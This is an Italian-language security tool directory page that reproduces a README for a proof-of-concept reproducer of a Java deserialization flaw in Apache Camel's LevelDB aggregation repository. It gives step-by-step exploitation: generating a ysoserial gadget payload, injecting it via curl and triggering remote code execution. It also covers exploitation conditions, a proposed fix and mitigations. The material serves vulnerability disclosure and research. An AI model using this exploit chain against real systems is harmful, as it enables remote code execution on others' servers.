Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Vulnerabilità di deserializzazione in Camel LevelDB | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-25747
Analisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza WebPenetration TestingApprendimento e Formazione
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Vulnerabilità di deserializzazione in Camel LevelDB

Vedi Repository
6 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduttore della Vulnerabilità di Deserializzazione in LevelDB

Questo progetto dimostra una vulnerabilità di deserializzazione Java nell'Apache Camel LevelDB Aggregation Repository, simile alla CVE-2024-23114 (che riguardava il Cassandra Aggregation Repository).

Riepilogo della Vulnerabilità

ProprietàValore
Componentecamel-leveldb
Classe interessataDefaultLevelDBSerializer.java
Metodi vulnerabilideserializeKey(), deserializeExchange()
CWECWE-502: Deserializzazione di dati non attendibili
ImpattoEsecuzione di codice in remoto (RCE)
Versioni interessateTutte le versioni inclusa la 4.17.0 (non corretta al momento del test)

Dettagli Tecnici

La classe DefaultLevelDBSerializer usa un ObjectInputStream grezzo senza alcun filtro:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

Confrontatelo con l'implementazione corretta di Cassandra (dal Camel 4.4.0):

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

Prerequisiti

  • Java 17+
  • Maven 3.8+
  • ysoserial (per la generazione del payload)

Passaggi per la Riproduzione

Passo 1: Compilare e Avviare l'Applicazione

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

Passo 2: Inizializzare il Database LevelDB

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

Output atteso:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

Passo 3: Generare il Payload Malevolo

Scaricate ysoserial e generate un payload:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

Passo 4: Iniettare il Payload in LevelDB

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Output atteso:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

Passo 5: Attivare la Deserializzazione (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

Questo itererà su tutte le chiavi e chiamerà repo.get() che attiva la deserializzazione!

Passo 6: Verificare lo Sfruttamento

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

Se il file /tmp/pwned esiste, lo sfruttamento è riuscito!

Vettori di Attacco

La vulnerabilità può essere attivata attraverso più percorsi:

  1. Riavvio dell'applicazione: Quando Camel si avvia, recupera le aggregazioni incomplete da LevelDB
  2. Meccanismo di recupero: La scansione periodica di recupero deserializza gli exchange memorizzati
  3. Accesso diretto: Qualsiasi chiamata get() sul repository attiva la deserializzazione

Condizioni per lo Sfruttamento

Per uno sfruttamento riuscito:

  1. Accesso in scrittura a LevelDB: L'attaccante deve poter scrivere nel file del database LevelDB

    • Filesystem condiviso
    • Storage compromesso
    • Un'altra vulnerabilità che consenta la scrittura di file
  2. Libreria di gadget nel classpath: Deve essere presente una libreria con catene di gadget sfruttabili

    • commons-collections:3.2.1 (gadget CommonsCollections1-7)
    • org.springframework:spring-core (gadget Spring)
    • Molte altre (vedere ysoserial)

Confronto con CVE-2024-23114

Correzione Raccomandata

Applicate la stessa correzione di Cassandra:

  1. Usare ClassLoadingAwareObjectInputStream invece del ObjectInputStream grezzo
  2. Aggiungere un ObjectInputFilter configurabile con impostazioni predefinite sicure
  3. Filtro predefinito: "java.**;org.apache.camel.**;!*"

Esempio di correzione per DefaultLevelDBSerializer.java:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

Mitigazione

Fino a quando non verrà rilasciata una correzione:

  1. Limitare l'accesso ai file: Assicurarsi che i file LevelDB siano scrivibili solo dall'applicazione Camel
  2. Rimuovere le librerie di gadget: Se possibile, rimuovere o aggiornare le librerie vulnerabili come commons-collections 3.x
  3. Usare un serializzatore alternativo: Configurare JacksonLevelDBSerializer invece di DefaultLevelDBSerializer
  4. Segmentazione di rete: Isolare i sistemi che usano l'aggregazione LevelDB

File

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

Disclaimer

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati. Non usarlo contro sistemi senza permesso esplicito.

Scarica lo strumento
AspettoCassandra (CVE-2024-23114)LevelDB (Questo problema)
StatoCorretta nella 4.4.0NON CORRETTA nella 4.17.0
ObjectInputStreamUsa ClassLoadingAwareObjectInputStreamUsa ObjectInputStream grezzo
Filtro di deserializzazione"java.**;org.apache.camel.**;!*"Nessuno
JIRACAMEL-20306Non ancora segnalato